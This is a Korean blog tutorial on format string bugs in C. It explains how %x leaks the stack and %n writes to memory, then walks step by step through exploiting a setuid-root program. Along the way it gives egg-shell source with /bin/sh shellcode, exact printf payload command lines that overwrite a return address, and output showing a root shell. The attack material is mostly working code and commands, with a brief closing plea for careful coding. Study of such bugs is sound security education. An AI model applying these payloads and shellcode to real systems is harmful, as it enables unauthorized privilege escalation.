본문 바로가기

Learning/└◆Reversing

[참고] Format String이란

 

 

Format String 대해서

 

 

 

다음은 인터넷상의 글을 공부하면서다시 정리한 문서입니다인터넷에 글을 올려 모든 분들께 감사합니다

되도록 원문의 내용을 변경하지 않는 상태로 실습용 예제만 편집하였습니다.


 



1. 포맷 스트링(Format String) 이란?

=> ret 또는 dtors값을 쉘코드의 주소 값으로 덮어 공격용 쉘을 실행 시키는 공격이다.


() test.c

main()

{

   char put[30];

   printf("What your name: ");

   scanf("%s", put);

   printf("%s hello!\n", put);

}

  

이러한 소스에서 %s의 역활은 입력받고 출력되는 변수의 Format를 지정하면서 나타나게된다.

 

포멧스트링의 종류에는

-----------------------------------

%d : 정수형 상수(10진수) int

%c : 문자형 char

%f : 실수형 상수 float

%lf : 실수형 상수 double

%o : 8진수

%x : 16진수                          16진수로 출력하는 것으로 메모리 읽을때 사용

%u : unsigned 10진수

%e : 지수 표기

%s : 문자 스트링

%g : %e와 %f (짧은 쪽을 선택)

-----------------------------------

%n  : %n 이전까지 쓴 문자열의 바이트 수 쓰기        메모리 변조할때 사용

등이 있으며좀더 확장 하여 %n, %hn 과 같은 특수한 기능의 스트링도 있다, C언어에 있어서 포멧스트링은 

아주 중요하고 자주 사용되는 문법표기이다.

 

 

 

2. 무엇이 문제인가?

 

(예제1) test.c

정상적으로 쓴 소스 

main()

{

   char put[30];

   printf("What your name: ");

   scanf("%s", put);

   printf("%s hello!\n", put);

}

 

 

(예제2) test2.c

동작상에 출력은 동일하다 하지만 안에 점검하는 부분이 없어 string형식으로 뽑아낼 때 문제발생 

main()

{

   char put[30];

   printf("What your name: ");

   scanf("%s", put);

   printf(put);

   printf(" hello!\n");

}

 

=> 일반적인 경우 동일한 내용이 나온다. 하지만 test2.c에 버그가 생길 수 있다.

어떤값인지 체크하는 부분이 없다. %d %s 등 값을 조합해서 쓸 수 있다.




$./test

 

What your name: baik

baik hello!

 

 

$./test2

 

What your name: baik

baik hello!

 

 

다음과 같은 예제를 해 보자.

 

$./test2

 

What your name: AAAA%x

AAAAbfffe8c0 hello!

 

 

$./test2

 

What your name: AAAA%x%x

AAAAbfffdfc042015481 hello!

 

 

$ ./test2

 

What your name: AAAA%x%x%x

AAAAbfffdec04201548180482da hello!

 

 

$ ./test2

 

What your name: AAAA%x%x%x%x

AAAAbffff8404201548180482da41414141 hello!


앞에 아무런 지정없이 %x를 쓸 경우 주소값이 출력된다.

스트링 지시자는 지역변수 이기 때문에 스택에 들어간다. 스택에 들어있는 내용이라는 뜻이다.

%x에 지정이 없으면 스택의 내용을 출력한다

=> 언젠가는 AAAA라는 값이 다시 나오게된다.

 

 

 

 

3. %n을 통한 공격방법

특정 값을 원하는 값으로 대치하는 방법 

(예제3) test3.c

 

main()

{

   int i=1;

   printf("i's address: %x\n", &i);

   printf("i's value: %d\n", i);

   printf("test%n\n", &i);                i의 값을 test(4)로 바꾼다.

   printf("chaged i's value: %d\n", i);   

}                                          

 

 

$./test3

 

i's address: bffff864

i's value: 1

test

chaged i's value: 4

 

=> i의 값이 1이여야하지만 4로 바꼈다.

 


(예제4) test4.c

 

main()

{

   long i=0x00000014, j=1;

   printf("i's address: %x\n", &i);

   printf("i's value: %x\n", i);

   printf("%40d%n\n", j&i);     %d, %n이 있기때문에 뒤에 2개써야한다. j는 의미가없다.

                            i주소값에 40칸을 확보한다. 가장 오른쪽끝에 j=1값이 들어있다.

   printf("chaged i's value: %x\n", i);

}

포맷 스트링 지시자 2개

i 40칸에 끝에만1, 의미가 없다.
&i %n = 40칸 , 40byte = 40으로 변경 

 

$./test4

 

i's address: bffff4e4

i's value: 14

1

chaged i's value: 28         /* 40을 집어넣었지만 16진수로 표현해서 28이다.

 

=> 특정한 주소의 값을 우리가 원하는 주소값으로 넣는게 목표다


공격용 프로그램 시동중 포맷스트링 버그가 있으면 %n을 통해서 우리가 원하는 주소로 바뀌면 

프로그램이 실행되다가 엉뚱하게 악성코드를 실행하게되고 끝나지 않는 상태가 된다. 

 

----------------------------------------

변경전   bffff4e4    0x00000014

----------------------------------------

변경후   bffff4e4    0x00000028(십진수: 40)

----------------------------------------

 

특정한 주소(EX: bffff4e4)가 가리키는 값을 스트링 개수만큼(0x28(40))의 값으로 대입한다.

 

 

역시 마챦가지의 결과를 볼수 있다..그런데 여기서 우리가 특정주소의 값을 볼때는 위와 같이 적은 

숫자가 아니며..주소는 16진수 8자리로 되어있다따라서 특정 주소에 주소값을 넣기 위해서는 

다음과 같은 방법이 필요하다.

 

다음 예제는 값에 임의의 주소번지 bfffff01을 넣는 소스이다.

주소를 10진수로 변경하면 범위에서 벗어난다.     +-------------+

따라서 주소를 반으로 나누어 작업한다.           + ff01 l bfff l

                                                +-------------+

                                                   k      k+2


                                               리틀엔디언 방식, 거꾸로 써야한다.

                                        k=ff01 k+2=bfff를 넣을 것이다.


   (16진수) bfff -> (10진수) 49151 (=bfff)

   (16진수) ff01 -> (10진수) 65281 (=ff01)

 

(예제5) test5.c

 

main()

{

   long i=0x00000014, j=1, *k;

   printf("i's address : %x\n",&i);

   printf("i's value : %x\n",i);

   k=&i;                                         k나 i나 같은것 바로다루지 않기 위해

   printf("%65281d%n%49406d%n\n",j,k,j,k+2);   4개있으니 뒤에 4개를 써야한다. j는 형식만 

                                               갖추기 위해 쓴것이고 k, k+2가 중요. k는 주소                                                  값으로 반을 쪼개서 각각 따로 집어넣는다.

   printf("chaged i's value : %x\n",i);

}

 

=> 리틀엔디언으로 뒤에 65281d(ff01)를 넣고 49406d는 bfff를 넣어야 하는데

   %n의 의미는 이 주소 안에다가 %n의 주소안에다 전체Strlen값으로 대체하라는 뜻인데 앞에 

   65281d가 ff01로 결정되어 있다.

   ff01 + @를 더하면 bfff가 되어야 한다. 그렇기 때문에 1bfff - ff01 = @가 나오는데 @값을 

   10진수로 전환하면 49406d가 나온다. 

값을 계산하는 방법은 아래를 참고한다.

$(printf AAAA(주소)BBBB(주소+2) =

작은수(bfff)에서 큰수(ff01)를 뺄 수는 없기 때문에 1을 더해서 뺀다.

기계상에서 결과값은 동일하게 나온다. (1bfff - ff01)


 

$ ./test5 | more

 

i's address: bfffdde4

i's value: 14

 

..... (중략) .....

 

q

 

 

$ ./test5

 

..... (중략) .....

 

1

chaged i's value: Dec: 65281, Hex: ff01

세그멘테이션 오류

 

 

----------------------------------------

변경전    bffffb84    0x00000014

----------------------------------------

변경후    bffffb84    0x00000028(십진수: 40)

----------------------------------------

 

값에 임의의 주소번지 bfffff01

(16진수) bfff -> (10진수) 49151

(16진수) ff01 -> (10진수) 65281

printf("%65281d%n%49406d%n\n",j,k,j,k+2);

 

값계산1) 65281(ff01)

값계산2) 49406(= 114687(1bfff) - 65281(ff01))

 

 

예제5를 설명하면먼저 65281(16진수=ff01)개를 출력하여 그갯수를 %n를 통해 i값에 넣게된다.

다음에 49406개를 출력하여 i주소의 2증가한 곳에 넣게되는데 

이때 먼져 출력된 갯수(65281)+후에갯수(49406) = 114687(16진수=1bfff)를 넣게 되는것이다..

결론적으로 i의 값에는 bfffff01이 들어 가게된다

이와 같이 메모리주소를 넣기 위해서는 상당히 큰 수가 적용되므로 나누어서 집어넣는 방법을 사용해야 한다.

 

,

 

최초 i의 주소번지

 

bffffb84 : 14 00 00 00

bffffb85 : 00 00 00 xx

bffffb86 : 00 00 xx xx

bffffb87 : 00 xx xx xx

 

%n으로 인해 변경되는 값

 

bffffb84 : 01 ff ff bf    => bfffff01

bffffb85 : ff ff bf 01

bffffb86 : ff bf 01 xx

bffffb87 : bf 01 xx xx

 

로 변경되게된다.


<!--[if !supportEmptyParas]--> <!--[endif]-->

코딩라인에서) printf("%65281d%n%49406d%n\n",j,k,j,k+2);

명령라인에서) $(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08")%8x%8x%8x%63536c%n%51111c%n

<!--[if !supportEmptyParas]--> <!--[endif]-->

AAAA(주소)BBBB(주소+2) 써야 하는 이유는 printf() 함수처럼 사용해야 하기 때문이다.

%8x%8x%8x%63536c%n51111c%n 써야 하는 이유는 그 뒤에 AAAA가 반복되기 때문이다.

<!--[if !supportEmptyParas]-->  

 

==============================================================================

 

 

이번 강좌에서는 FSB(Format String Bug)의 기본적인 공격방법의 핵심을 알아보았다.

다음번에는 실전 문제를 가지고서 FSB를 알아보도록 하자.

 

저번시간에는 FSB의 기본적인 사항과 전재조건등을 알아보았다.

오늘은 실전에 적용하여 취약프로그램의 소스를 검토하여 FSB를 적용하여보도록 하자.

 

※ 실전 FSB !!!

 

취약 프로그램의 어택방법의 이해를 돕기위해서 BOF에서부터 유용하게 써먹은 dumpcode.h 를 구하도록 하자

dumpcode.h는 ohhara님 께서 만드신 헤더이다..구하는 장소는 PLUS 홈페이지를 참조하자

(PLUS : 포항공대 유닉스 보안 동아리)

 

     dumpcode.h 파일에 대한 참고 사이트 http://sp0ngee.tistory.com/30

 

 

dumpcode.h 파일의 내용(/usr/include/dumpcode.h)

void printchar(unsigned char c)

{

if(isprint(c)) printf("%c",c);

else printf(".");

}

void dumpcode(unsigned char *buff, int len)

{

int i;

for(i=0; i<len; i++)

{

if(i%16==0)

printf("0x%08x  ",&buff[i]);

printf("%02x ",buff[i]);

if(i%16-15==0)

{

int j;

printf("  ");

for(j=i-15;j<=i;j++)

printchar(buff[j]);

printf("\n");

}

}

if(i%16!=0)

{

int j;

int spaces=(len-i+16-i%16)*3+2;

 

for(j=0;j<spaces;j++)

printf(" ");

for(j=i-i%16;j<len;j++)

printchar(buff[j]);

}

printf("\n");

}

 

 

다음은 mainsource newbie15번 문제를 변형한것이다.

우리는 임의의주소(0xbffffa6b)에 우리가 원하는 값(임의로 0xbffffb30 )를 넣는 방법을 알아보도록 하겠다.

 

(예제6) test6.c

 

#include <stdio.h>

#include "dumpcode.h"


main()

char put[50];

fgets(put,49,stdin);

printf(put);

dumpcode((char*)0xbffffa6b,4);

}

 

 

$./test6

leon               <----- 입력한다.

leon

0xbffffa6b bf fc ab bf ....

해당주소에 bf fc ab bf (0xbfabfcbf) 값이 들어있는것을 볼수가 있다.

이값을 30 fb ff bf (0xbffffb30)으로 변경해보도록 하자.

 

 

1. 입력한 값의 위치 찾기

 

우선 우리가 입력한 것의 위치를 찾아야 한다.

그래야 그것을 통하여 해당주소에 덮어쓸수가 있기 때문이다.

 

$./test6

AAAA%x%x%x%x

AAAA4f4013994040016ab041414141

0xbffffa6b bf fc ab bf ....


다행이 4번째에 우리가 넣은 AAAA(16진수 41414141)이 나왔다.

(- 이경우 실제로는 첫번째 %x에서 AAAA값이 나오게됩니다또한 gcc2.95이상의 컴파일버젼에서는 

상당히 뒤쪽에 나오기도합니다여기서는 설명을 위해서 4번째에 나오는걸로 가정하겠습니다. -)

 

 

2. 메모리값 넣기..

 

다음은 해당 자리에 메모리값을 넣는과정을 살펴보도록하자.

메모리값으로 입력해야 함으로 perl 이나 printf의 함수를 사용하여 해당프로그램에 입력하여야 한다.

 

$(printf "\x41\x41\x41\x41%%x%%x%%x%%x";cat)|./test6

<ENTER>

AAAA4f4013994040016ab041414141

0xbffffa6b bf fc ab bf ....

<ENTER>

 

 

위의 실행결과는 "AAAA"를 메모리화 시켜서 입력한것이다. %%x는 파이프연결로 인해 %x와 동일한 효과를 준다.

 

그럼 이번에는 진짜 메모리값을 넣어보도록 하자.

 

$(printf "\x6b\xfa\xff\xbf%%x%%x%%x%%x";cat)|./test6

<ENTER>

k??f4013994040016ab0bffffa6b

0xbffffa6b bf fc ab bf ....

<ENTER>

 

 

즉 메모리값으로 원하는 위치에 정확히 들어가는것을 확인하였다...

 

 

 

3. %c사용으로 주소자리 맟추기

 

이번에는 입력하는 변수의 값과 메모리값을 동시에 입력하여 원하는 위치에 원하는 값이 나오도록 해보자.

 

$(printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfaxff\xbf%%8x%%8x%%8x%%c%%x%%c

%%x";cat)|./test6

 

<ENTER>

AAAAk?AAAm??        4f4013994040016ab0Abffffa6bAbffffa6d

0xbffffa6b bf fc ab bf ....

<ENTER>

 

 

%c에 의하여 앞의 AAAA값이 대입대고 그후 메모리값이 %x에 의해 출력되는것을 볼수 있다.

그럼 다됬당...이번에는 %x대신 %n 값을 넣고 실행해보자..

 

 

4. %n을 통한 해당주소에 값넣기

 

$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%c%%n

%%c%%n";cat)| ./test6

 

<ENTER>

AAAAk?AAAm??     4f4013994040016ab0AA

0xbffffa6b 29 00 2a 00                                        ).*.

<ENTER>

 

 

!! %n을 넣고 실행해본결과 타겟주소의 값이 변경된것을 볼수 있다..

 

0xbffffa6b 29 00 2a 00 ).*.

 

, %n앞의 써진 문자의 갯수(4+4+4+4+8+8+8+1 = 41 = hex : 29)가 해당주소에 덮어써진것이다.

 

여기서 \x41\x41\x41\x41 / \x6b\xfa\xff\xbf / \x41\x41\x41\x41 / \x6d\xfa\xff\xbf / %%8x 

/ %%8x / %%8x / %%c / 순서대로 4+4+4+4+8+8+8+1 이다..%%x앞에 8을 넣은 이유는 %x의 값에 의해 

출력되는 문자가 최대 8자이며 그보다 적은 수가 나올수도 있으므로 아예 8자로 맞춘것이다.

 

첫번째 %n이후 두번째 %n은 "%n%c"에 의해 2문자가 증가 함으로 29 + 2 = 2a 가 된다.

 

이제 모든것이 끝났당...앞장에서 공부 했듯이 %c에 적당한 숫자를 넣어서 우리가 원하는 값을 넣어보도록 하자.

 

우리가 넣고자 하는 값은 30 fb ff bf (0xbffffb30) 이므로 첫번째 숫자를 계산한 값은

 

fb30(64304) - 0029(41) = 64263 에 +1 을 한 값이다.

 

※ +1 을 한 이유는 %c 에 의해 1이 증가 했기 때문이다.

 

$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%64264c

%%n%%c%%n";cat)|./test6

 

<ENTER>

~

~

중략

~

~AA

0xbffffa6b 30 fb 31 fb                                        0.1.

<ENTER>

 

 

첫번째 값이 나왔다..원하는 30 fb

 

두번째 값도 같은 방법으로 계산하면

 

$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf

%%8x%%8x%%8x%%64264c%%n%%50383c%%n";cat)|./t6

 

<ENTER>

~

~A

중략

~

~A

0xbffffa6b 30 fb ff bf                                        0...

<ENTER>

 

 

 

드뎌 정확히 우리가 원하는 값을 원하는 메모리 번지에 집어 넣게 되었다..

 

 

※ 장황하게 설명 되었으나, FSB의 핵심과 그 공격 방법을 알아보았다이 글을 읽는 분들 중에는 취약프로그램이

suid bit로 되어있다면 그담은 어떻게 FSB를 사용해야서 권한을 획득해야 하는지 눈치를 쳇을 것이당^^.

 

담 시간에는 실제 suid bit의 프로그램을 이용하여 권한을 획득하는 과정을 공부 해보도록 하자.

 

앞서 시간에는 우리가 원하는 메모리의 위치에 원하는 값을 넣는 과정을 공부 해보았다..

오늘은 실전 문제를 가지고 과연 suid bit로 된 취약프로그램에서 권한을 획득할수 있는지를 공부해보도록 하자...

 

이번 시간에도 마챦가지로 dumpcode.h를 준비하고...문제는 저번시간과 동일한 소스를 가지고 

풀어보도록 하겟다 (mainsource newbie15 문제)...


//test7.c

#include <stdio.h>

main()

{ char bleh[80];

     setreuid(0,0);

     fgets(bleh,79,stdin);

     printf(bleh);

}

여러분들도 자신의 리눅스 박스에서 다음과 같이 만들어서 실험 해보도록 하자.

 

$id

uid=500(leon) gid=500(leon) groups=500(leon)

$ls -l test7

-rwsr-x--x 1 root leon 13768 2월 23 16:47 test7

 

우선 저번시간에 글을 읽으신분들은 취약프로그램을 어떻게 공략 할것인가를 감지 하셨을 것이다.

..버퍼오버플러에서도 자주 사용되는 egg shell을 이용하는 것이다참고로 egg shell의 소스를 보면 

대략적으로 다음과 같다...여러분들께서도 직접 만들어보시길..(linux 쉘코드 삽입임.)

 

//egg.c

 

#include <stdlib.h>


#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90


char shellcode[] =

"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"

"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

"\x00\xc9\xc3\x90/bin/sh";


unsigned long get_esp(void)

{

__asm__("movl %esp,%eax");

}


void main(int argc, char *argv[])

{

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;


if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);


if (!(buff = malloc(bsize)))

{

printf("Can't allocate memory.\n");

exit(0);

}


if (!(egg = malloc(eggsize)))

{

printf("Can't allocate memory.\n");

exit(0);

}


addr = get_esp() - offset;

printf("Using address: 0x%x\n", addr);


ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);

putenv(egg);

memcpy(buff,"RET=",4);

putenv(buff);

system("/bin/bash");

}

 

 

egg에 대한 강의는 추후에 한번 할것이고..일단..

 

우리의 공격전략은 다음과 같다.

 

1. egg shell 을 띄어서 특정위치에 쉘코드를 활성화 시킨다.

2. 취약프로그램의 취약성을 확인한다.

3. 취약프로그램의 리턴 어드래스를 찾고 찾은 어드레스에 사용되는 egg쉘 위치를 입력한다.

4. 성공이다..

 

전략에 맞추어서..

 

우선 egg_shell을 띄운다.

 

$./egg

Using address: 0xbffffa28

 

egg를 띄우면 egg에서 사용되는 쉘코드의 위치를 보여준다.(정확한 쉘코드의 위치는 아니구 앞에 

NOP가 들어있는 egg 쉘의 시작위치이다)


우리는 취약 프로그램의 리턴 어드레스의 값을 위에서 보여주는 

0xbffffa28(28 fa ff bf) 로 변경하여야 한다.

 

다음은 취약 프로그램의 취약성을 알아보도록 하자.

 

$./test7

AAAA%x%x%x%x

AAAA4f4013994040016ab041414141

 

취약프로그램이 입력한 값의 %x 4번째에 값이 나오는것을 확인하였다.

 

이제 남은것은 리턴어드레스이다리턴어드레스를 구하는 방법은 그리 간다치만은 않다.

이글을 읽는 분들중 BOF를 공부하신분들이라면 리턴 어드레스와 무진장 많이 싸우시고 공부하셨으리라 생각된다

리턴어드레스를 구하는 방법은 GDB를 이용하거나 기타 다른 방법들을 이용하여 구할수 있는데..

직접알아서들 연구해보시길 바라며..좀더 간단하고 쉽게 리턴어드레스를 구할수 있는 방법을 아신다면 

해커정신에 입각해서 게시판에 올려주시길..^^

 

일단 어찌어찌하여 리턴어드레스를 구했다고 가정하자...(전 gdb를 이용해서 구했습니다.)

 

그럼 공격을 위한 모든 준비는 끝났다.

 

정리해보면..

 

취약프로그램에서 입력된 값의 위치는 : 4번째 %x

리턴어드레스는 : 0xbffff07c

변경하고자하는 값 : 0xbffffa28

 

위의 정보를 토대로 다음과 같은 공격코드가 완성된다.

 

$(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf

%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test7

 

그럼 공격과정이 맞는지를 확인하기 위해서 해당 소스를 약간 변경하여 임의의 취약프로그램을 만들어서 

실행하여보자.(,컴팔은 egg를 띄우지 않은 상태에서 해야한다.-취약프로그램과 동일한 조건 유지-)

 

//test7_t.c

 

#include "dumpcod.h"

#include <stdio.h>


main()

char bleh[80];

        setreuid(0,0);

fgets(bleh,79,stdin);

        printf(bleh);

dumpcode((char*)bleh+84,4);

}

 

 

$./egg

Using address: 0xbffffa28

 

$(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x

%%c%%x%%c%%x";cat)|./test7_t

 

AAAAl?AAAn?? 4f4013994040016ab0Abffff06cAbffff06e

0xbffff07c fc ab 03 40 ...@

 

입력한 리턴어드레스가 정확히 나온것을 확인할수 있다..

담은 %x 를 %n으로 바꾸면...


$ (printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x

%%8x%%8x%%c%%n%%c%%n";cat)|./test7_t


AAAA|?풞AAA~??     4f4013994040016ab0AA

0xbffff07c 29 00 2a 00                                       ).*.


역시 리턴 값이 변경된것을 볼수 있다..남은 것은 계산기로 해당 주소값을 찾는 일뿐...(앞장에서 충분이 설명드렸죠..^^)


(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf

%%8x%%8x%%8x%%64000c%%n%%50647c%%n";cat)|./test7_t

~

~

A

~

~

                                             A

0xbffff07c 28 fa ff bf                                       (...


id

uid=500(leon) gid=500(leon) groups=500(leon)


원하는 위치에 원하는 값이 들어갔고, 쉘도 실행되었다.

이제 취약프로그램에 적용해보자..


(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf

%%8x%%8x%%8x%%64000c%%n%%50647c%%n";cat)|./test7

~

~

A

~

~

                                             A


id

uid=0(root) gid=500(leon) groups=500(leon)


root의 권한을 획득하였다^^..


이상 FSB의 기본원리와 간단한 공격예제를 살펴 보았다.

물론 이것은 예제일뿐이다. 실제로 상용프로그램에 적용하기 위해서는 이보다는 좀더 복잡한 과정을 거쳐야한다. 

그리구 우린 리턴어드레스를 변경시키는 방법으로 FSB에 접근 하였다. 리턴어드레스 뿐 아니라 

취약프로그램상의 모든 어드레스의 값을 변경할수 있다는 것에 착안 한다면 좀더 간단하고 쉽고 강력한 방법들도 잇을것이다.


프로그래밍을 할때 이러한 작은 실수들을 배제하고 보안상의 문제점들을 간과 하지 않는것이 취약성에서 

벗어날수 있는 길이라 생각된다. 그러나, 프로그램의 취약성은 앞으로도 계속하여 보고될것이다.